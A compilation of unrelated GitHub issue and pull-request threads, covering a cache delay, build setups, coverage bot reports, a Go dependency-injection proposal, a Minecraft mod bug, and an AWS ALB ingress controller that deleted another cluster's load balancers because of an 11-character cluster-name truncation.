[X] If this is an issue with the app itself, I should be opening an issue in the app repository.
[X] I will fill out all of the requested information in this form.

Add a :+1: reaction to issues you find important.

Chapter 286 was posted 2024-12-03T18:35:11Z, you created this issue at 2024-12-03T19:26:__Z. The cache is valid for 1 hour, so you probably just hit the cache. The reason for the mismatch between the extension and the site is due to using different request parameters.
This can be solved by cache-busting, but that is not a real solution. If anything, the site should invalidate all relevant caches when a new chapter is posted.

I know this sounds like just being to impatient but I was wondering why I couldn't trigger update myself so thank you very much for the detailed explanation.


How to compile twice?

Hello, When I built the project in original avod directory, everything was right. However, when I copy this avod directory and rename to another different name, like "avod_copy", the compilation process seemed to cover the previous compilation in original avod directory. So how to compile this project twice in two different directory and keep them compatible？

I guess create another virtual environment may be a feasible way. I'll let you know if I succeed.

Yes, I did it.


Title tag change

I think we should add the catch phrase - E-commerce for All - to the the Title tag in index.html

I agree, I'll work on it.

Issue is complete. Nice work !


Fix wheels

This should address the issue in #262 , whcih ... I guess is some combination of a bug in cmake's FindPython and an ideological thing for manylinux?
The easiest solution is to require cmake 3.18 or higher, which unfortunately is just a tiny bit too new to be widely available on still-supported LTS platforms.

I manually checked a number of manylinux wheels to confirm that the .so does not indicate python 3.10

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 92.179%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
2157

Relevant Lines:
2340

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Warning: This coverage report may be inaccurate.
This pull request's base commit is no longer the HEAD commit of its target branch. This means it includes changes from outside the original pull request, including, potentially, unrelated coverage changes.

For more information on this, see Tracking coverage changes with pull request builds.
To avoid this issue with future PRs, see these Recommended CI Configurations.
For a quick fix, rebase this PR at GitHub. Your next report should be accurate.

Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+5.6%) to 97.782%

Totals

Change from base Build<PHONE_NUMBER>:
5.6%

Covered Lines:
7407

Relevant Lines:
7575

💛  - Coveralls


test: Fix tests that were writing into ref

openexr_copy and openexr-decreasingy
These recently added test were writing into the ref/ directory, which they certainly should not do. Write into the build test area, compare to what's in the ref area.

The bleeding edge failure is unrelated to this PR. It looks like it's having intermittent failures to install a yum package during dependency setup.


Disabled AWRAL.6.0.0 LSM from 557WW builds.

Description
This corrects an oversight in disabling AWRAL compilation to address SonarQube "Out of bound memory access" finding on AWRAL.  Prior edits to 557WW user build config files only disabled the AWRAL metforcing reader, not the LSM.

Due to Air Force time constraints, I will accept my own pull request.
breaking the law, breaking the law
breaking the law, breaking the law


Use manager url rather than self

Introduction
For a quick cut-and-paste to make this work, self won't work, better to use the default.
Or maybe just remove the URL altogether, since it's the default?

thanks for the typo fix 👍


naming issue

steps involve in resolving this issue

Check npm Logs: Start by examining the npm logs to get more information about the error. Run npm cache clean --force to clear the npm cache, and then try reinstalling the package to see if the issue persists. You can also use the --verbose flag to get more detailed output during installation, which might help pinpoint the problem.

Update npm and Node.js: Make sure you're using the latest version of npm and Node.js. You can update npm globally by running npm install -g npm, and you can check for the latest Node.js version on the official Node.js website.

Check Package Versions: Ensure that the package you're trying to install is compatible with your current version of Node.js. Some packages may require a specific Node.js version or have dependencies that aren't compatible with your environment.

Verify Package.json Dependencies: Check your package.json file to ensure that the dependencies and their versions are correctly specified. Run npm install to ensure that all dependencies are installed properly based on the package.json file.

Try a Different Mirror or Registry: Sometimes, issues can arise due to problems with the npm registry or mirrors. You can switch to a different registry or mirror to see if that resolves the problem. For example, you can use npm config set registry https://registry.npmjs.org/ to switch back to the default npm registry.

Clear npm Cache: Clearing the npm cache can sometimes resolve issues related to cached or corrupted packages. You can do this by running npm cache clean --force to clear the entire npm cache.

Use Yarn: If you continue to experience issues with npm, you can try using Yarn, which is another package manager for Node.js. Yarn often provides faster and more reliable dependency resolution compared to npm. You can install Yarn globally using npm (npm install -g yarn) and then use it to install packages (yarn install) instead of npm.

Community Resources: If you're still unable to resolve the issue, consider reaching out to the Node.js or npm community for help. You can ask questions on forums like Stack Overflow or Reddit, or you can join relevant Discord or Slack channels where developers discuss Node.js and npm-related topics.

By following these steps and being systematic in your approach to troubleshooting, you should be able to identify and resolve any package management issues you encounter with npm.


⚠ GitLab Server has degraded performance

In 2d075b6, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 2878 ms

Resolved: GitLab Server performance has improved in ca50529.


Using SinonJs fakeTimers with Tap

I've struggled to effectively take control of time within my tests since I've started using Tap (and prior to that when I tried Tape), and so I thought it might be helpful to share what I've learned so far (in case it's useful for others) but also to get any better ideas in case I'm still not doing things optimally:
https://github.com/dchambers/tap-async-sinon-spike
Thanks, and please feel free to close this issue.

UPDATE: I'm no longer able to replicate the problem I originally had (or thought I had) with Sinon's tickAsync. Therefore, at this point, it looks like using Sinon with Tap is now super easy provided you're using ts-node (or babel-node if configured right). Closing this issue now.


[QOL] Auto-updater as a separate application

Which would allow to change some settings on the fly, can be useful from the multiple save files update to avoid the need to use dangerous memory shenanigans in-game.
Should also include an auto-updater.

Changed to "Auto-updater" as a separate application and moved up in priority, the other features (specific settings, change save file slots) are less important and would have a different ticket once the Auto-updater part will be done


"No Quiver found!" spam when holding shift with Better Controls installed

Minecraft 1.20.1
Forge 47.3.0
Spartan Weaponry 3.1.1
Better Controls 1.3.0
both mods with default configs
With better controls installed, the game acts as if you are constantly pressing the access quiver keybind (even if the keybind is unset) as long as you hold shift.
If you do have a quiver, it will repeatedly open it while you are trying to sprint.

Hi,
I've tested the two mods together and I don't seem to be able to replicate the issue you're having. Is it possible that you've might have changed the quiver keybind for this mod that is causing the spam to happen? (e.g. adding the SHIFT modifier the keybind)

I actually unbound the keybind since I was going to just use the inventory.

Honestly I can't reproduce it either now.
I recently reinstalled the OS so it's possible that it had an issue with the computer before that a reinstall fixed and I thought it was the game maybe, but I did try toggling off BetterControls and it did stop happening then so idk.
You're probably right, this is likely not be a real bug. Sorry about that.


[proposal] Auto magically inject services

Linked to #9
This contribution adds support for a service declaration in struct tags. Such as:
type Car struct {
    Engine *Engine `do:""`
    Brand  string  `do:"awesome-brand"`
    Other  int
}

In this proposal, I suggest 3 new helpers:

do.InjectTag(do.Injector, Service) (Service, error)
do.MustInjectTag(do.Injector, Service) (Service)
do.TagProvider[T any](t T) Provider[T]

This implementation is obviously unsafe since it uses reflect and unsafe std libs.
Example:
type Engine struct {
    Watt int
}

func NewEngine(i *do.Injector) (*Engine, error) {
    return &Engine{42}, nil
}

do.Provide(injector, NewEngine)

do.ProvideNamedValue(injector, "awesome-brand", "tesla")

type Car struct {
    Engine *Engine `do:""`
    Brand  string  `do:"awesome-brand"`
    Other  int
}

func NewCar(i *do.Injector) (*Car, error) {
    return do.InjectTag(i, &Car{})
}

do.Provide(injector, NewCar)
// could be replaced by do.Provide(injector, do.TagProvider(&Car{}))

IMO, we should avoid calling this helper automatically on service invocation. It would be error-prone and costly. Being declarative also allows the developer to execute do.InjectTag at the right time in the provider.
do.TagProvider would be a shortcut for very simple providers:
do.Provide(injector, do.TagProvider(&Car{}))

// is equivalent to:

do.Provide(injector, NewCar(i *do.Injector) (*Car, error) {
    return do.InjectTag(i, &Car{})
})

I would be very happy to receive feedback about this!

Codecov Report
Base: 89.56% // Head: 87.85% // Decreases project coverage by -1.71% :warning:

Coverage data is based on head (7a95bf7) compared to base (16a48d1).
Patch coverage: 76.47% of modified lines in pull request are covered.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##           master      #28      +/-   ##
==========================================
- Coverage   89.56%   87.85%   -1.71%
==========================================
  Files           6        7       +1
  Lines         460      527      +67
==========================================
+ Hits          412      463      +51
- Misses         40       52      +12
- Partials        8       12       +4

Flag
Coverage Δ

unittests
87.85% <76.47%> (-1.71%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

tag.go
72.88% <72.88%> (ø)

service.go
92.30% <100.00%> (+3.41%)
:arrow_up:

service_eager.go
76.00% <100.00%> (+2.08%)
:arrow_up:

service_lazy.go
94.52% <100.00%> (+0.15%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

If I wanted to use Uber Fx, I'd just use Uber Fx. Compile-time and reflection-free DI is one of the biggest advantages do has over Fx.

@counterposition without reflection? Ok, very good, but uses assertion, and assertion is not safe type like this package says in readme.MD ("type safe").
https://github.com/samber/do/blob/master/injector.go#L57
https://github.com/samber/do/blob/master/injector.go#L177
https://github.com/samber/do/blob/master/injector.go#L201
https://github.com/samber/do/blob/master/di.go#L128
What is the problem to use reflect? The generics here is a fake, is just to generate names for a map[string]any.


Add options

Add ability to specify additional parameters to RandomForestRegressor, with some minor error checking and two additional tests.
Options are passed in as dictionary argument rf_opts. n_estimators is ignored in favor of the argument to the constructor; oob_score is ignored and always set to True; warm_start is ignored (assumed to be False).
Two reasons this is helpful for me, at least: the random forest fit is often faster (particularly on my laptop) with n_jobs set to 1. I'm also hoping to investigate the shap interpretability package, but the underlying algorithms perform extremely poorly on deep trees, so the ability to specify max_depth would make that a bit easier.
This is a repeat of another pull request, closed by me, attempting to fix formatting issues that cause continuous integration to fail.

@cunningjames This just has some lint errors that need to be fixed. I can take a look at reviewing this tomorrow as well. Thanks for contributing!

@cunningjames I merged another PR with the same feature. I'm gonna go ahead and close this one. v0.3 (which I'm about to release now) will have this change.


Units

It would be nice if this card could use the units configured for the weather entity in HA instead of using hardcoded units like km/h for windspeed

It is in fact 2m/s, not 2km/h

https://developers.home-assistant.io/docs/core/entity/weather/#unit-conversion

Just tried out this card, and amazingly works pretty well!
The only exception is that the air pressure is showing in units of mbar instead of inches of mercury.
The weather component I use has an attribute: pressure_unit: inHg


Delete loadbalancer resources in existing, separated Kubernetes cluster after deployment

We have a running Kuberntes cluster in the same AWS account, with alb-ingress-controller controlled ingresses. This name is "test-cluster.internal".
When a new Kubernetes cluster started, with name "live-cluster.internal", when the alb-ingress-controller deployed, it DELETES the already existing loadbalancers and target groups.
It started and immediately delete the anoter cluster's existing resource:
ubuntu@ip-10-202-13-63:~$ kubectl logs alb-ingress-controller-69c9b847c5-vqfzg -n kube-system
I0626 16:00:37.571370       1 main.go:24] [ALB-INGRESS] [controller] [INFO]: Log level read as "", defaulting to INFO. To change, set LOG_LEVEL environment variable to WARN, ERROR, or DEBUG.
I0626 16:00:37.571721       1 launch.go:112] &{ALB Ingress Controller 1.0-alpha.9 git-11cdb4a8 git://github.com/kubernetes-sigs/aws-alb-ingress-controller}
I0626 16:00:37.571875       1 launch.go:282] Creating API client for https://<IP_ADDRESS>:443
I0626 16:00:37.583242       1 launch.go:295] Running in Kubernetes Cluster version v1.9 (v1.9.6) - git (clean) commit 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1 - platform linux/amd64
I0626 16:00:37.585281       1 launch.go:134] validated kube-system/default-http-backend as the default backend
I0626 16:00:37.589904       1 albingresses.go:85] [ALB-INGRESS] [ingress] [INFO]: Building list of existing ALBs
I0626 16:00:37.683768       1 albingresses.go:94] [ALB-INGRESS] [ingress] [INFO]: Fetching information on 1 ALBs
I0626 16:00:38.011262       1 targetgroups.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Fetching Targets for Target Group arn:aws:elasticloadbalancing:eu-west-1:571188843450:targetgroup/bmkubernete-30658-HTTP-2a53f87/1289759a5fc2d701
I0626 16:00:38.067303       1 targetgroups.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Fetching Targets for Target Group arn:aws:elasticloadbalancing:eu-west-1:571188843450:targetgroup/bmkubernete-31364-HTTP-2a53f87/29a6840f649f5b2a
I0626 16:00:38.135349       1 targetgroups.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Fetching Targets for Target Group arn:aws:elasticloadbalancing:eu-west-1:571188843450:targetgroup/bmkubernete-32497-HTTP-2a53f87/8eb65e30b9173cb6
I0626 16:00:38.187385       1 listeners.go:77] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Fetching Rules for Listener arn:aws:elasticloadbalancing:eu-west-1:571188843450:listener/app/bmkubernete-default-bmtest-7639/5a10c9cf5756d3c3/9553958eb47b7f69
I0626 16:00:38.203338       1 albingress.go:203] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Ingress rebuilt from existing ALB in AWS
I0626 16:00:38.203371       1 albingresses.go:189] [ALB-INGRESS] [ingress] [INFO]: Assembled 1 ingresses from existing AWS resources in 613.445553ms
I0626 16:00:38.203408       1 controller.go:1359] starting Ingress controller
I0626 16:00:38.630484       1 leaderelection.go:174] attempting to acquire leader lease...
I0626 16:00:38.630771       1 controller.go:477] backend reload required
I0626 16:00:38.630831       1 loadbalancer.go:230] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Start ELBV2 (ALB) deletion.
I0626 16:00:38.637249       1 leaderelection.go:184] successfully acquired lease kube-system/ingress-controller-leader-alb
I0626 16:00:38.637298       1 status.go:193] new leader elected: alb-ingress-controller-69c9b847c5-vqfzg
I0626 16:00:38.683627       1 loadbalancer.go:238] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Completed ELBV2 (ALB) deletion. Name: bmkubernete-default-bmtest-7639 | ARN: arn:aws:elasticloadbalancing:eu-west-1:571188843450:loadbalancer/app/bmkubernete-default-bmtest-7639/5a10c9cf5756d3c3
I0626 16:00:38.683650       1 listener.go:74] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Start Listener deletion.
I0626 16:00:38.693789       1 listener.go:79] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Completed Listener deletion.
I0626 16:00:38.693869       1 rule.go:96] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Start Rule deletion.
I0626 16:00:38.730221       1 rule.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Completed Rule deletion. Rule Priority: "1" | Condition: [{    Field: "host-header",    Values: ["wwwwww"]  },{    Field: "path-pattern",    Values: ["/*"]  }]
I0626 16:00:38.730242       1 rule.go:96] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Start Rule deletion.
I0626 16:00:38.772282       1 rule.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Completed Rule deletion. Rule Priority: "2" | Condition: [{    Field: "path-pattern",    Values: ["/*"]  },{    Field: "host-header",    Values: ["wwwwwwwwww"]  }]
I0626 16:00:38.772307       1 rule.go:96] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Start Rule deletion.
I0626 16:00:38.793698       1 rule.go:103] [ALB-INGRESS] [default/bm-test-ingress] [INFO]: Completed Rule deletion. Rule Priority: "3" | Condition: [{    Field: "path-pattern",    Values: ["/*"]  },{    Field: "host-header",    Values: ["wwwwwwwww"]  }]
I0626 16:00:49.006933       1 controller.go:486] ingress backend successfully reloaded...

It shouldn't touch other, already existing resources!

Make sure the cluster name is unique to each cluster. When the controller starts up it looks for existing resources with a matching cluster name and then reconciles those resource against the current configuration inside of the Kubernetes cluster.

I did it, two times.
The new cluster is (whic deletes resources in existing older one):
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: REDACTED
    server: https://api.bm-kubernetes-live.internal
  name: bm-kubernetes-live.internal
contexts:
- context:
    cluster: bm-kubernetes-live.internal
    user: bm-kubernetes-live.internal
  name: bm-kubernetes-live.internal
current-context: bm-kubernetes-live.internal
kind: Config
preferences: {}
users:
- name: bm-kubernetes-live.internal

The older, existing one is:
ubuntu@ip-10-201-2-234:~$ kubectl config view
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: REDACTED
    server: https://api.bm-kubernetes-test-lqhnqcka.internal
  name: bm-kubernetes-test-lqhnqcka.internal
contexts:
- context:
    cluster: bm-kubernetes-test-lqhnqcka.internal
    user: bm-kubernetes-test-lqhnqcka.internal
  name: bm-kubernetes-test-lqhnqcka.internal
current-context: bm-kubernetes-test-lqhnqcka.internal
kind: Config
preferences: {}
users:
- name: bm-kubernetes-test-lqhnqcka.internal

Can I see the controller pod manifest? The cluster name is a parameter to the controller.

Yes.
This is a "old" one:
ubuntu@ip-10-201-2-234:~$ kubectl describe pod alb-ingress-controller -n kube-system
Name:           alb-ingress-controller-767896b666-xrlvw
Namespace:      kube-system
Node:           ip-10-201-34-77.eu-west-1.compute.internal/<IP_ADDRESS>
Start Time:     Tue, 26 Jun 2018 14:58:36 +0000
Labels:         app=alb-ingress-controller
                pod-template-hash=3234526222
Annotations:    <none>
Status:         Running
IP:             <IP_ADDRESS>
Controlled By:  ReplicaSet/alb-ingress-controller-767896b666
Containers:
  server:
    Container ID:  docker://5ef7d7a62cf9504154882c3d2b9ef858e140733626064f42aac812d6389cde6c
    Image:         quay.io/coreos/alb-ingress-controller:1.0-beta.1
    Image ID:      docker-pullable://quay.io/coreos/alb-ingress-controller@sha256:91edb05491600014625a551945d438bdb246f6e154ade80e9ad3ccddc00197a4
    Port:          <none>
    Args:
      /server
      --default-backend-service=kube-system/default-http-backend
    State:          Running
      Started:      Tue, 26 Jun 2018 16:01:50 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    255
      Started:      Tue, 26 Jun 2018 16:00:23 +0000
      Finished:     Tue, 26 Jun 2018 16:00:23 +0000
    Ready:          True
    Restart Count:  5
    Environment:
      AWS_REGION:       eu-west-1
      CLUSTER_NAME:     bm-kubernetes-test-lqhnqcka.internal
      AWS_DEBUG:        true
      AWS_MAX_RETRIES:  20
      POD_NAME:         alb-ingress-controller-767896b666-xrlvw (v1:metadata.name)
      POD_NAMESPACE:    kube-system (v1:metadata.namespace)
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-4fxhn (ro)
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
  default-token-4fxhn:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-4fxhn
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:
  Type     Reason   Age                From                                                 Message
  ----     ------   ----               ----                                                 -------
  Normal   Pulling  48m (x5 over 1h)   kubelet, ip-10-201-34-77.eu-west-1.compute.internal  pulling image "quay.io/coreos/alb-ingress-controller:1.0-beta.1"
  Normal   Pulled   48m (x5 over 1h)   kubelet, ip-10-201-34-77.eu-west-1.compute.internal  Successfully pulled image "quay.io/coreos/alb-ingress-controller:1.0-beta.1"
  Normal   Created  48m (x5 over 1h)   kubelet, ip-10-201-34-77.eu-west-1.compute.internal  Created container
  Normal   Started  48m (x5 over 1h)   kubelet, ip-10-201-34-77.eu-west-1.compute.internal  Started container
  Warning  BackOff  48m (x9 over 50m)  kubelet, ip-10-201-34-77.eu-west-1.compute.internal  Back-off restarting failed container

This is the newly started one:
ubuntu@ip-10-202-13-63:~$ kubectl describe pod alb-ingress-controller -n kube-system
Name:           alb-ingress-controller-69c9b847c5-vqfzg
Namespace:      kube-system
Node:           ip-10-202-66-89.eu-west-1.compute.internal/<IP_ADDRESS>
Start Time:     Tue, 26 Jun 2018 16:00:32 +0000
Labels:         app=alb-ingress-controller
                pod-template-hash=2575640371
Annotations:    <none>
Status:         Running
IP:             <IP_ADDRESS>
Controlled By:  ReplicaSet/alb-ingress-controller-69c9b847c5
Containers:
  server:
    Container ID:  docker://c16623bd7e745f70dbf0bb31d4b03a322f89b8053cb8010ebefaa274f826783b
    Image:         quay.io/coreos/alb-ingress-controller:1.0-beta.1
    Image ID:      docker-pullable://quay.io/coreos/alb-ingress-controller@sha256:91edb05491600014625a551945d438bdb246f6e154ade80e9ad3ccddc00197a4
    Port:          <none>
    Args:
      /server
      --default-backend-service=kube-system/default-http-backend
    State:          Running
      Started:      Tue, 26 Jun 2018 16:00:37 +0000
    Ready:          True
    Restart Count:  0
    Environment:
      AWS_REGION:       eu-west-1
      CLUSTER_NAME:     bm-kubernetes-live.internal
      AWS_DEBUG:        false
      AWS_MAX_RETRIES:  20
      POD_NAME:         alb-ingress-controller-69c9b847c5-vqfzg (v1:metadata.name)
      POD_NAMESPACE:    kube-system (v1:metadata.namespace)
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-qplzw (ro)
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
  default-token-qplzw:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-qplzw
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:
  Type    Reason                 Age   From                                                 Message
  ----    ------                 ----  ----                                                 -------
  Normal  Scheduled              49m   default-scheduler                                    Successfully assigned alb-ingress-controller-69c9b847c5-vqfzg to ip-10-202-66-89.eu-west-1.compute.internal
  Normal  SuccessfulMountVolume  49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  MountVolume.SetUp succeeded for volume "default-token-qplzw"
  Normal  Pulling                49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  pulling image "quay.io/coreos/alb-ingress-controller:1.0-beta.1"
  Normal  Pulled                 49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  Successfully pulled image "quay.io/coreos/alb-ingress-controller:1.0-beta.1"
  Normal  Created                49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  Created container
  Normal  Started                49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  Started container

The cluster name is limited to 11 characters so these are effectively the same cluster name. I'll open a PR later that exits with an error if the cluster name is longer than 11 characters to prevent this kind of hidden problem in the future.

Hmm. Thank you. It is a new information. I thought that the names are limnited to 253 chars according to the official documentation: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/
Where does the "11 char" limitation can be found explicite? In docs?

It is an "evil" bug or undocumented feature. It can delete running resources accidentally.
It should LOG somewhere what does it use internally as a CLUSTER_NAME to identify the resources.

I did some digging and we used to throw and error but stopped in #223.
The 11 character limitation is because its used as a prefix for naming resources in AWS. We needed to do this to reassemble the controller state at start up and AWS didn't provide a method for querying ALBs via tags at the time. There is an API for that now, so we don't need to keep a naming convention, but i'm unsure of how I can gracefully migrate existing users to the new API without impacting their existing resources. We have namespace and ingress as tags that I can search on, but not the cluster name. I added the cluster name tag recently.

I believe its a limitation on the length of ALB names. It needs to include the cluster name, namespace, and ingress name which means theres some truncation that may need to happen.
https://github.com/kubernetes-sigs/aws-alb-ingress-controller/blob/de3eb414df8453ab0549c41df869d705e80be546/pkg/controller/alb-controller.go#L454-L456

Thank you. It should put a "warning" log entry at least after the if condition and truncation, because nowhere happens that the controller uses shorter name to identify the correct resource. Or, when you get the full data from AWS SDK.
What is the limitation agains using filering resources according the Tag full data received?
I mean, I have in LB Tags:
kubernetes.io/cluster/bm-kubernetes-test-lqhnqcka.internal | owned
Can you got it when listing resources?

What I would like to do use query the tagging API for resources with the kubernetes.io/cluster/<cluster name> tag and use those to build the state. The issue is all of the existing users who don't have that tag on their resources.
What I am thinking right now is supporting both methods in the 1.0 release and then removing the legacy ALB name searching method in the following release.

Would it be complicated to use the new API methind in a branch? I need to deploy the clusters the day after tomorrow with the already agreed naming convention, the FQDNs, so it would be pity to modify everything because of the ALB controller plugin cant handle just 11 long names :(

Hi Tobi,
Can you please share your alb-ingress-controller.yaml file?  I would like to see how you mounted the volume with the token. I believe you are doing this on EKS?
Normal  SuccessfulMountVolume  49m   kubelet, ip-10-202-66-89.eu-west-1.compute.internal  MountVolume.SetUp succeeded for volume "default-token-qplzw"

Here is it, nothing special, copy-paster from the examples:
# Application Load Balancer (ALB) Ingress Controller Deployment Manifest.
# This manifest details sensible defaults for deploying an ALB Ingress Controller.
# GitHub: https://github.com/coreos/alb-ingress-controller
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  labels:
    app: alb-ingress-controller
  name: alb-ingress-controller
  # Namespace the ALB Ingress Controller should run in. Does not impact which
  # namespaces it's able to resolve ingress resource for. For limiting ingress
  # namespace scope, see --watch-namespace.
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alb-ingress-controller
  strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: alb-ingress-controller
    spec:
      containers:
      - args:
        - /server
        # Ingress controllers must have a default backend deployment where
        # all unknown locations can be routed to. Often this is a 404 page. The
        # default backend is not particularly helpful to the ALB Ingress Controller
        # but is still required. The default backend and its respective service
        # must be running Kubernetes for this controller to start.
        - --default-backend-service=kube-system/default-http-backend
        # Limit the namespace where this ALB Ingress Controller deployment will
        # resolve ingress resources. If left commented, all namespaces are used.
        #- --watch-namespace=your-k8s-namespace
        # Setting the ingress-class flag below will ensure that only ingress resources with the
        # annotation kubernetes.io/ingress.class: "alb" are respected by the controller. You may
        # choose any class you'd like for this controller to respect.
        #- --ingress-class=alb
        env:
          # AWS region this ingress controller will operate in.
          # List of regions:
          # http://docs.aws.amazon.com/general/latest/gr/rande.html#vpc_region
        - name: AWS_REGION
          value: eu-west-1
          # Name of your cluster. Used when naming resources created
          # by the ALB Ingress Controller, providing distinction between
          # clusters.
        - name: CLUSTER_NAME
          value: bm-kubernetes-test-lqhnqcka.internal
          # AWS key id for authenticating with the AWS API.
          # This is only here for examples. It's recommended you instead use
          # a project like kube2iam for granting access.
        #- name: AWS_ACCESS_KEY_ID
           #value: KEYVALUE
          # AWS key secret for authenticating with the AWS API.
          # This is only here for examples. It's recommended you instead use
          # a project like kube2iam for granting access.
        #- name: AWS_SECRET_ACCESS_KEY
           #value: SECRETVALUE
          # Enables logging on all outbound requests sent to the AWS API.
          # If logging is desired, set to true.
        - name: AWS_DEBUG
          value: "true"
          # Maximum number of times to retry the aws calls.
          # defaults to 20.
        - name: AWS_MAX_RETRIES
          value: "20"
        - name: POD_NAME
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.name
        - name: POD_NAMESPACE
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
        # Repository location of the ALB Ingress Controller.
        image: quay.io/coreos/alb-ingress-controller:1.0-beta.1
        imagePullPolicy: Always
        name: server
        resources: {}
        terminationMessagePath: /dev/termination-log
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      securityContext: {}
      terminationGracePeriodSeconds: 30

@akhilkathuria I guess you should post your problem into an another issue or thread, because it is about rights not configuration parameters.

@akhilkathuria I also face the same issue but following below link resolved the issue.
https://github.com/raf-d/aws-alb-controller/blob/master/RBAC-for-aws-controller.md
Basically
Create the ServiceAccount, ClusterRole and ClusterRoleBinding to use with the ALB controller. and udape in ur alb-ingress-controller.yaml file.